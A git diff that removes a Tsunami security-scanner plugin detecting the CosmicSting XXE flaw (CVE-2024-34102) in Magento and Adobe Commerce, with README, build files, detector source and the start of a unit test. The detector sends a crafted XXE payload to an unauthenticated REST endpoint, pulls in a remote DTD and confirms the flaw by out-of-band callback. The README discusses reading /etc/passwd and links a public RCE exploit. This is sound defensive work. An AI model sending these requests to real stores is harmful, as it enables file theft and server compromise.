diff --git a/doyensec/detectors/magento_cosmicsting_xxe/README.md b/doyensec/detectors/magento_cosmicsting_xxe/README.md
deleted file mode 100644
index 9c6d26bba..000000000
--- a/doyensec/detectors/magento_cosmicsting_xxe/README.md
+++ /dev/null
@@ -1,74 +0,0 @@
-# Magento / Adobe Commerce CosmicSting XXE (CVE-2024-34102)
-
-## Description
-
-Adobe Commerce and Magento v2.4.7 and earlier are vulnerable to a critical
-unauthenticated XXE (XML External Entity) vulnerability that can lead to
-arbitrary code execution on unpatched systems. The vulnerability can be
-exploited by sending an unauthenticated HTTP request with a crafted XML file
-that references external entities; when the request payload is deserialized, the
-attacker can extract sensitive files from the system and gain administrative
-access to the software.
-
-### Impact
-
-The CosmicSting XXE vulnerability by itself can be exploited to perform
-Arbitrary File Reads and Server-Side Request Forgeries (SSRF). Effectively, this
-allows attackers to leak sensitive information from files in the target system
-or from internal network endpoints. For example, an attacker could leak
-Magento's configuration files to gain administrative access to the software, or
-leak an SSH key to log onto the system itself.
-
-### Remote Code Execution
-
-On unpatched systems, Remote Code Execution can be achieved by combining the
-CosmicSting XXE vulnerability with the
-[PHP iconv RCE](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) (aka
-CNEXT). A very reliable public exploit for Magento that leverages both
-vulnerabilities and achieves RCE was released by @cfreal, the author of the
-iconv research, and can be found
-[here](https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py).
-
-### Detector's implementation
-
-This detector only exploits the XXE vulnerability to perform a simple Arbitrary
-File Read (leaking `/etc/passwd`) and a SSRF (calling back to the Tsunami
-Callback Server). It was not possible to implement the full RCE exploit due to
-the current limitations of the Callback Server. Specifically, the RCE exploit
-requires leaking the process memory map and the system's libc binary, in order
-to properly calculate the memory addresses needed for the final exploit step.
-Even if the Callback Server allows us to check whether a callback was received,
-it doesn't allow us to fetch any extra data attached to the request (such as URL
-parameters or the POST body), thus it makes it impossible for us to retrieve the
-leaked data needed for the full exploit.
-
-## Affected Versions
-
-- 2.4.7 and earlier
-- 2.4.6-p5 and earlier
-- 2.4.5-p7 and earlier
-- 2.4.4-p8 and earlier
-- 2.4.3-ext-7 and earlier*
-- 2.4.2-ext-7 and earlier*
-
-*These versions are only applicable to customers participating in the Extended
-Support Program
-
-## References
-
-- [CosmicSting: critical unauthenticated XXE vulnerability in Adobe Commerce
- and Magento
- (CVE-2024-34102)](https://www.vicarius.io/vsociety/posts/cosmicsting-critical-unauthenticated-xxe-vulnerability-in-adobe-commerce-and-magento-cve-2024-34102)
-- [NIST: CVE-2024-34102](https://nvd.nist.gov/vuln/detail/CVE-2024-34102)
-- [Adobe Security Bulletin APSB24-40](https://helpx.adobe.com/security/products/magento/apsb24-40.html)
-- [CosmicSting CNEXT RCE exploit](https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py)
-
-## Build jar file for this plugin
-
-Using `gradlew`:
-
-```shell
-./gradlew jar
-```
-
-The Tsunami identifiable jar file is located at `build/libs` directory.
diff --git a/doyensec/detectors/magento_cosmicsting_xxe/build.gradle b/doyensec/detectors/magento_cosmicsting_xxe/build.gradle
deleted file mode 100644
index 18c76930c..000000000
--- a/doyensec/detectors/magento_cosmicsting_xxe/build.gradle
+++ /dev/null
@@ -1,41 +0,0 @@
-plugins {
- id 'java-library'
-}
-
-description = 'Magento / Adobe Commerce CosmicSting XXE (CVE-2024-34102)'
-group = 'com.google.tsunami'
-version = '0.0.1-SNAPSHOT'
-
-repositories {
- maven { // The google mirror is less flaky than mavenCentral()
- url 'https://maven-central.storage-download.googleapis.com/repos/central/data/'
- }
- mavenCentral()
- mavenLocal()
-}
-
-
-
-def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable"
-def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable"
-
-dependencies {
- implementation("com.google.tsunami:tsunami-common") {
- version { branch = "${coreRepoBranch}" }
- }
- implementation("com.google.tsunami:tsunami-plugin") {
- version { branch = "${coreRepoBranch}" }
- }
- implementation("com.google.tsunami:tsunami-proto") {
- version { branch = "${coreRepoBranch}" }
- }
-
- testImplementation "junit:junit:4.13.2"
- testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0"
- testImplementation "org.mockito:mockito-core:5.18.0"
- testImplementation "com.google.inject:guice:6.0.0"
- testImplementation "com.google.truth:truth:1.4.4"
- testImplementation "com.google.inject.extensions:guice-testlib:6.0.0"
- testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4"
- testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4"
-}
diff --git a/doyensec/detectors/magento_cosmicsting_xxe/settings.gradle b/doyensec/detectors/magento_cosmicsting_xxe/settings.gradle
deleted file mode 100644
index 0f08fbbd8..000000000
--- a/doyensec/detectors/magento_cosmicsting_xxe/settings.gradle
+++ /dev/null
@@ -1,12 +0,0 @@
-rootProject.name = 'magento_cosmicsting_xxe_cve-2024-34102'
-
-def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git"
-def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git"
-
-sourceControl {
- gitRepository("${coreRepository}") {
- producesModule("com.google.tsunami:tsunami-common")
- producesModule("com.google.tsunami:tsunami-plugin")
- producesModule("com.google.tsunami:tsunami-proto")
- }
-}
diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java
deleted file mode 100644
index f29c8ed7e..000000000
--- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright 2024 Google LLC
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.google.tsunami.plugins.detectors.cves.cve202434102;
-
-import static java.lang.annotation.ElementType.FIELD;
-import static java.lang.annotation.ElementType.METHOD;
-import static java.lang.annotation.ElementType.PARAMETER;
-
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import javax.inject.Qualifier;
-
-/** Annotation for {@link MagentoCosmicStingXxe}. */
-final class Annotations {
- @Qualifier
- @Retention(RetentionPolicy.RUNTIME)
- @Target({PARAMETER, METHOD, FIELD})
- @interface OobSleepDuration {}
-
- private Annotations() {}
-}
diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java
deleted file mode 100644
index 46ed470a2..000000000
--- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java
+++ /dev/null
@@ -1,452 +0,0 @@
-/*
- * Copyright 2024 Google LLC
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.google.tsunami.plugins.detectors.cves.cve202434102;
-
-import static com.google.common.base.Preconditions.checkNotNull;
-import static com.google.common.base.Verify.verify;
-import static com.google.common.collect.ImmutableList.toImmutableList;
-import static com.google.common.net.HttpHeaders.CONTENT_TYPE;
-
-import com.google.common.annotations.VisibleForTesting;
-import com.google.common.collect.ImmutableList;
-import com.google.common.flogger.GoogleLogger;
-import com.google.common.util.concurrent.Uninterruptibles;
-import com.google.gson.JsonElement;
-import com.google.gson.JsonObject;
-import com.google.protobuf.ByteString;
-import com.google.protobuf.util.Timestamps;
-import com.google.tsunami.common.data.NetworkServiceUtils;
-import com.google.tsunami.common.net.http.HttpClient;
-import com.google.tsunami.common.net.http.HttpHeaders;
-import com.google.tsunami.common.net.http.HttpRequest;
-import com.google.tsunami.common.net.http.HttpResponse;
-import com.google.tsunami.common.net.http.HttpStatus;
-import com.google.tsunami.common.time.UtcClock;
-import com.google.tsunami.plugin.PluginType;
-import com.google.tsunami.plugin.VulnDetector;
-import com.google.tsunami.plugin.annotations.PluginInfo;
-import com.google.tsunami.plugin.payload.NotImplementedException;
-import com.google.tsunami.plugin.payload.Payload;
-import com.google.tsunami.plugin.payload.PayloadGenerator;
-import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration;
-import com.google.tsunami.proto.AdditionalDetail;
-import com.google.tsunami.proto.DetectionReport;
-import com.google.tsunami.proto.DetectionReportList;
-import com.google.tsunami.proto.DetectionStatus;
-import com.google.tsunami.proto.NetworkService;
-import com.google.tsunami.proto.PayloadGeneratorConfig;
-import com.google.tsunami.proto.Severity;
-import com.google.tsunami.proto.TargetInfo;
-import com.google.tsunami.proto.TextData;
-import com.google.tsunami.proto.Vulnerability;
-import com.google.tsunami.proto.VulnerabilityId;
-import java.io.IOException;
-import java.time.Clock;
-import java.time.Duration;
-import java.time.Instant;
-import javax.inject.Inject;
-
-/** A Tsunami plugin that detects the CosmicSting XXE in Adobe Commerce and Magento */
-@PluginInfo(
- type = PluginType.VULN_DETECTION,
- name = "Magento & Adobe Commerce CosmicSting XXE (CVE-2024-34102)",
- version = "0.1",
- description =
- "This plugin detects the CosmicSting XXE vulnerability in Magento and Adobe Commerce.",
- author = "Savino Sisco (savio@doyensec.com)",
- bootstrapModule = MagentoCosmicStingXxeBootstrapModule.class)
-public final class MagentoCosmicStingXxe implements VulnDetector {
- @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "TSUNAMI_COMMUNITY";
- @VisibleForTesting static final String VULNERABILITY_REPORT_ID = "CVE-2024-34102";
-
- @VisibleForTesting
- static final String VULNERABILITY_REPORT_TITLE =
- "Magento & Adobe Commerce CosmicSting XXE (CVE-2024-34102)";
-
- static final String VULNERABILITY_REPORT_DESCRIPTION_BASIC =
- "The scanner detected a Magento or Adobe Commerce instance vulnerable to the CosmicSting XXE"
- + " (CVE-2024-34102). The vulnerability can be exploited by sending an unauthenticated"
- + " HTTP request with a crafted XML file that references external entities; when the"
- + " request payload is deserialized, the attacker can extract sensitive files from the"
- + " system and gain administrative access to the software. Remote Code Execution (RCE)"
- + " can be accomplished by combining this issue with another vulnerability, such as the"
- + " PHP iconv RCE (CVE-2024-2961). An exploit that leverages both vulnerabilities to"
- + " achieve RCE on unpatched Magento is publicly available.\n"
- + "See: https://nvd.nist.gov/vuln/detail/CVE-2024-34102 or"
- + " https://helpx.adobe.com/security/products/magento/apsb24-40.html for more"
- + " information.\n";
-
- @VisibleForTesting
- static final String VULNERABILITY_REPORT_RECOMMENDATION =
- "Install the latest security patches and rotate your encryption keys. More detailed"
- + " instructions can be found in the official Adobe security bulletin:"
- + " https://helpx.adobe.com/security/products/magento/apsb24-40.html.";
-
- static final String DTD_FILE_URL =
- "https://raw.githubusercontent.com/google/tsunami-security-scanner-plugins/master/payloads/magento-cosmicsting-xxe/dtd.xml";
- private static final String PAYLOAD_TEMPLATE =
- "\n"
- + "\n"
- + " \n"
- + " \n"
- + " %sp;\n"
- + " %param1;\n"
- + "]>\n"
- + "&exfil;";
-
- @VisibleForTesting
- static final String VULNERABLE_ENDPOINT_PATH =
- "rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods";
-
- @VisibleForTesting
- static final String CURRENCY_ENDPOINT_PATH = "rest/default/V1/directory/currency";
-
- @VisibleForTesting static final String VERSION_ENDPOINT_PATH = "magento_version";
-
- private static final GoogleLogger logger = GoogleLogger.forEnclosingClass();
- private final Clock utcClock;
- private final HttpClient httpClient;
- private final PayloadGenerator payloadGenerator;
- private final int oobSleepDuration;
- private boolean responseMatchingOnly = false;
- private String detectedMagentoVersion = null;
-
- @Inject
- MagentoCosmicStingXxe(
- @UtcClock Clock utcClock,
- HttpClient httpClient,
- PayloadGenerator payloadGenerator,
- @OobSleepDuration int oobSleepDuration) {
- this.utcClock = checkNotNull(utcClock);
- this.httpClient = checkNotNull(httpClient);
- this.payloadGenerator = checkNotNull(payloadGenerator);
- this.oobSleepDuration = oobSleepDuration;
- }
-
- @Override
- public ImmutableList getAdvisories() {
- return ImmutableList.of(getAdvisory(Severity.CRITICAL, ""));
- }
-
- // This is the main entry point of VulnDetector.
- @Override
- public DetectionReportList detect(
- TargetInfo targetInfo, ImmutableList matchedServices) {
- logger.atInfo().log("MagentoCosmicStingXxe starts detecting.");
-
- return DetectionReportList.newBuilder()
- .addAllDetectionReports(
- matchedServices.stream()
- .filter(NetworkServiceUtils::isWebService)
- .filter(this::isMagento)
- .filter(this::isServiceVulnerable)
- .map(networkService -> buildDetectionReport(targetInfo, networkService))
- .collect(toImmutableList()))
- .build();
- }
-
- Vulnerability getAdvisory(Severity severity, String additionalDetails) {
- return Vulnerability.newBuilder()
- .setMainId(
- VulnerabilityId.newBuilder()
- .setPublisher(VULNERABILITY_REPORT_PUBLISHER)
- .setValue(VULNERABILITY_REPORT_ID))
- .setSeverity(severity)
- .setTitle(VULNERABILITY_REPORT_TITLE)
- .setDescription(VULNERABILITY_REPORT_DESCRIPTION_BASIC)
- .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION)
- .addAdditionalDetails(
- AdditionalDetail.newBuilder()
- .setTextData(TextData.newBuilder().setText(additionalDetails)))
- .addRelatedId(VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-34102"))
- .build();
- }
-
- /*
- Check presence of endpoint with always anonymous access: /rest/default/V1/directory/currency
- From: https://developer.adobe.com/commerce/webapi/rest/use-rest/anonymous-api-security/
-
- Typical response:
- HTTP/2 200 OK
- {
- "base_currency_code": "USD",
- "base_currency_symbol": "$",
- ...
- }
- */
- private boolean isMagento(NetworkService networkService) {
- String targetUri =
- NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + CURRENCY_ENDPOINT_PATH;
-
- HttpRequest req =
- HttpRequest.get(targetUri)
- .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build())
- .build();
-
- HttpResponse response;
- try {
- response = this.httpClient.send(req, networkService);
- } catch (IOException e) {
- return false;
- }
-
- // Check status code 200
- if (response.status() != HttpStatus.OK) {
- return false;
- }
-
- // Check if body is JSON
- if (response.bodyJson().isEmpty()) {
- return false;
- }
-
- JsonElement body = response.bodyJson().get();
- // Check if JSON body is object
- if (!body.isJsonObject()) {
- return false;
- }
-
- // If the body has a known key, e.g. "base_currency_code", it's Magento
- return body.getAsJsonObject().has("base_currency_code");
- }
-
- /*
- Tries to get the Magento version by fetching /magento_version
- This endpoint can be manually disabled, so don't stop the plugin if we can't fetch it
- */
- private String detectMagentoVersion(NetworkService networkService) {
- String targetUri =
- NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VERSION_ENDPOINT_PATH;
- logger.atInfo().log("Trying to detect Magento version at '%s'", targetUri);
-
- HttpRequest req = HttpRequest.get(targetUri).withEmptyHeaders().build();
-
- try {
- HttpResponse response = this.httpClient.send(req, networkService);
- if (response.status() == HttpStatus.OK
- && response.bodyString().orElse("").contains("Magento")) {
- String version = response.bodyString().get();
- logger.atInfo().log("Detected Magento version: '%s'", version);
- return version;
- } else {
- logger.atInfo().log("Unable to detect Magento version.");
- return null;
- }
-
- } catch (IOException e) {
- logger.atWarning().withCause(e).log("Failed to query '%s'.", targetUri);
- return null;
- }
- }
-
- private String ensureCorrectUrlFormat(String domainOrUrl) {
- if (domainOrUrl.startsWith("http://") || domainOrUrl.startsWith("https://")) {
- return domainOrUrl;
- } else {
- return "http://" + domainOrUrl;
- }
- }
-
- private String getJsonPayload(String xxePayload) {
- /* JSON payload format:
- {
- "address": {
- "totalsReader": {
- "collectorList": {
- "totalCollector": {
- "sourceData": {
- "data": payload,
- "options": 16
- }
- }
- }
- }
- }
- }
- */
-
- // Build the JSON object containing the XXE payload
- JsonObject sourceData = new JsonObject();
- sourceData.addProperty("data", xxePayload);
- sourceData.addProperty("options", 16);
-
- JsonObject totalCollector = new JsonObject();
- totalCollector.add("sourceData", sourceData);
-
- JsonObject collectorList = new JsonObject();
- collectorList.add("totalCollector", totalCollector);
-
- JsonObject totalsReader = new JsonObject();
- totalsReader.add("collectorList", collectorList);
-
- JsonObject address = new JsonObject();
- address.add("totalsReader", totalsReader);
-
- JsonObject jsonPayload = new JsonObject();
- jsonPayload.add("address", address);
-
- return jsonPayload.toString();
- }
-
- // Sends the payload and returns True if the response matches the pattern of a vulnerable instance
- private boolean sendPayload(NetworkService networkService, String jsonPayload) {
- String targetUri =
- NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VULNERABLE_ENDPOINT_PATH;
- logger.atInfo().log("Sending XXE payload to '%s'", targetUri);
-
- HttpRequest req =
- HttpRequest.post(targetUri)
- .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build())
- .setRequestBody(ByteString.copyFromUtf8(jsonPayload))
- .build();
-
- try {
- HttpResponse response = this.httpClient.send(req, networkService);
- // Check if the response matches any known values
- if (response.status() == HttpStatus.INTERNAL_SERVER_ERROR
- && response
- .bodyString()
- .orElse("")
- .startsWith(
- "{\"message\":\"Internal Error. Details are available in Magento log file.")) {
- logger.atInfo().log(
- "HTTP response received with status code 500 (Internal Server Error): the instance"
- + " should be vulnerable.");
- return true;
- } else if (response.status() == HttpStatus.BAD_REQUEST
- && response.bodyString().orElse("").equals("{\"message\":\"Invalid data type\"}")) {
- logger.atInfo().log(
- "HTTP response received with status code 400 (Bad Request): the instance seems to be"
- + " patched.");
- return false;
- } else {
- logger.atInfo().log(
- "Response does not match any known responses. Status code: %s (%s).",
- response.status().code(), response.status().name());
- return false;
- }
- } catch (IOException e) {
- logger.atWarning().withCause(e).log("Failed to query '%s'.", targetUri);
- return false;
- }
- }
-
- // Checks whether a given Magento instance is exposed and vulnerable.
- private boolean isServiceVulnerable(NetworkService networkService) {
- // Fetch the version of the running Magento instance
- this.detectedMagentoVersion = detectMagentoVersion(networkService);
-
- // Generate the payload for the callback server
- PayloadGeneratorConfig config =
- PayloadGeneratorConfig.newBuilder()
- .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF)
- .setInterpretationEnvironment(
- PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY)
- .setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY)
- .build();
-
- String oobCallbackUrl = "";
- Payload payload = null;
-
- // Check if the callback server is available, fallback to response matching if not
- try {
- payload = this.payloadGenerator.generate(config);
- // Use callback for RCE confirmation and raise severity on success
- if (payload == null || !payload.getPayloadAttributes().getUsesCallbackServer()) {
- logger.atWarning().log(
- "Tsunami Callback Server not available: detector will use response matching only.");
- responseMatchingOnly = true;
- } else {
- oobCallbackUrl = ensureCorrectUrlFormat(payload.getPayload());
- }
- } catch (NotImplementedException e) {
- responseMatchingOnly = true;
- }
-
- // Build the XML XXE payload
- // Note: when the callback server is not available, oobCallbackUrl will be an empty string.
- // This is fine, as in that case we only care about the HTTP response, the contents of the
- // payload don't really matter.
- String xxePayload =
- PAYLOAD_TEMPLATE
- .replace("{OOB_CALLBACK}", oobCallbackUrl)
- .replace("{DTD_FILE}", DTD_FILE_URL);
-
- // Wrap the XXE payload in a JSON object
- String jsonPayload = getJsonPayload(xxePayload);
-
- // Send the malicious HTTP request
- boolean responseMatchingVulnerable = sendPayload(networkService, jsonPayload);
-
- // No need to wait for the callback when the callback server is not available
- if (responseMatchingOnly) {
- if (responseMatchingVulnerable) {
- logger.atInfo().log("Vulnerability confirmed via response matching.");
- }
- return responseMatchingVulnerable;
- }
-
- logger.atInfo().log("Waiting for XXE callback.");
- Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration));
-
- // payload should never be null here as we should have already returned in that case
- verify(payload != null);
- if (payload.checkIfExecuted()) {
- logger.atInfo().log("Vulnerability confirmed via Callback Server.");
- return true;
- } else if (responseMatchingVulnerable) {
- logger.atWarning().log(
- "HTTP response seems vulnerable, but no callback was received. Other mitigations may have"
- + " been applied.");
- return false;
- } else {
- logger.atInfo().log(
- "Callback not received and response does not match vulnerable instance, instance is not"
- + " vulnerable.");
- return false;
- }
- }
-
- private DetectionReport buildDetectionReport(
- TargetInfo targetInfo, NetworkService vulnerableNetworkService) {
- // Set the additional details section to the detected Magento version
- String additionalDetails;
- if (this.detectedMagentoVersion == null) {
- additionalDetails = "Could not detect Magento version.";
- } else {
- additionalDetails = "Magento version: " + detectedMagentoVersion;
- }
-
- // Set description and severity depending on whether the vulnerability was verified via an OOB
- // callback or with response matching only
- Severity severity;
- if (this.responseMatchingOnly) {
- severity = Severity.HIGH;
- } else {
- severity = Severity.CRITICAL;
- }
-
- return DetectionReport.newBuilder()
- .setTargetInfo(targetInfo)
- .setNetworkService(vulnerableNetworkService)
- .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli()))
- .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
- .setVulnerability(getAdvisory(severity, additionalDetails))
- .build();
- }
-}
diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java
deleted file mode 100644
index ec6545ffe..000000000
--- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright 2024 Google LLC
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.google.tsunami.plugins.detectors.cves.cve202434102;
-
-import com.google.inject.Provides;
-import com.google.tsunami.plugin.PluginBootstrapModule;
-import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration;
-
-/** A Guice module that bootstraps the {@link MagentoCosmicStingXxe}. */
-public final class MagentoCosmicStingXxeBootstrapModule extends PluginBootstrapModule {
-
- @Override
- protected void configurePlugin() {
- registerPlugin(MagentoCosmicStingXxe.class);
- }
-
- @Provides
- @OobSleepDuration
- int provideOobSleepDuration(MagentoCosmicStingXxeConfigs configs) {
- if (configs.oobSleepDuration == -1) {
- return 10;
- }
-
- return configs.oobSleepDuration;
- }
-}
diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java
deleted file mode 100644
index 739e49fba..000000000
--- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright 2024 Google LLC
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.google.tsunami.plugins.detectors.cves.cve202434102;
-
-import com.google.tsunami.common.config.annotations.ConfigProperties;
-
-@ConfigProperties("plugins.detectors.magento_cosmicsting_xxe")
-final class MagentoCosmicStingXxeConfigs {
- int oobSleepDuration = -1;
-}
diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java
deleted file mode 100644
index f47c335ed..000000000
--- a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java
+++ /dev/null
@@ -1,263 +0,0 @@
-/*
- * Copyright 2024 Google LLC
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.google.tsunami.plugins.detectors.cves.cve202434102;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname;
-import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort;
-import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.CURRENCY_ENDPOINT_PATH;
-import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VERSION_ENDPOINT_PATH;
-import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABLE_ENDPOINT_PATH;
-
-import com.google.common.collect.ImmutableList;
-import com.google.inject.Guice;
-import com.google.inject.testing.fieldbinder.Bind;
-import com.google.inject.testing.fieldbinder.BoundFieldModule;
-import com.google.inject.util.Modules;
-import com.google.protobuf.util.Timestamps;
-import com.google.tsunami.common.net.http.HttpClientModule;
-import com.google.tsunami.common.net.http.HttpStatus;
-import com.google.tsunami.common.time.testing.FakeUtcClock;
-import com.google.tsunami.common.time.testing.FakeUtcClockModule;
-import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule;
-import com.google.tsunami.plugin.payload.testing.PayloadTestHelper;
-import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration;
-import com.google.tsunami.proto.DetectionReport;
-import com.google.tsunami.proto.DetectionReportList;
-import com.google.tsunami.proto.DetectionStatus;
-import com.google.tsunami.proto.NetworkService;
-import com.google.tsunami.proto.Severity;
-import com.google.tsunami.proto.TargetInfo;
-import com.google.tsunami.proto.TransportProtocol;
-import java.io.IOException;
-import java.time.Instant;
-import javax.inject.Inject;
-import okhttp3.mockwebserver.Dispatcher;
-import okhttp3.mockwebserver.MockResponse;
-import okhttp3.mockwebserver.MockWebServer;
-import okhttp3.mockwebserver.RecordedRequest;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-/** Unit tests for {@link MagentoCosmicStingXxe}. */
-@RunWith(JUnit4.class)
-public final class MagentoCosmicStingXxeTest {
-
- private final FakeUtcClock fakeUtcClock =
- FakeUtcClock.create().setNow(Instant.parse("2024-08-28T13:37:00.00Z"));
-
- @Bind(lazy = true)
- @OobSleepDuration
- private final int oobSleepDuration = 0;
-
- @Inject private MagentoCosmicStingXxe detector;
- private MockWebServer mockWebServer = new MockWebServer();
- private MockWebServer mockCallbackServer = new MockWebServer();
-
- private static final String MOCK_MAGENTO_VERSION = "Magento/2.4 (Mock)";
- private static final String MOCK_CURRENCY_ENDPOINT_RESPONSE =
- "{\"base_currency_code\":\"USD\",\"base_currency_symbol\":\"$\",\"default_display_currency_code\":\"USD\",\"default_display_currency_symbol\":\"$\",\"available_currency_codes\":[\"USD\",\"EUR\"],\"exchange_rates\":[{\"currency_to\":\"USD\",\"rate\":1},{\"currency_to\":\"EUR\",\"rate\":0.7067}]}";
- private static final String PATCHED_INSTANCE_RESPONSE = "{\"message\":\"Invalid data type\"}";
- private static final String VULNERABLE_INSTANCE_RESPONSE =
- "{\"message\":\"Internal Error. Details are available in Magento log file. Report ID:"
- + " webapi-deadbeef1337\"}";
-
- @Before
- public void setUp() throws IOException {
- mockWebServer = new MockWebServer();
- mockCallbackServer.start();
- }
-
- @After
- public void tearDown() throws Exception {
- mockCallbackServer.shutdown();
- mockWebServer.shutdown();
- }
-
- private void createInjector(boolean tcsAvailable) {
- Guice.createInjector(
- new FakeUtcClockModule(fakeUtcClock),
- new HttpClientModule.Builder().build(),
- FakePayloadGeneratorModule.builder()
- .setCallbackServer(tcsAvailable ? mockCallbackServer : null)
- .build(),
- Modules.override(new MagentoCosmicStingXxeBootstrapModule())
- .with(BoundFieldModule.of(this)))
- .injectMembers(this);
- }
-
- @Test
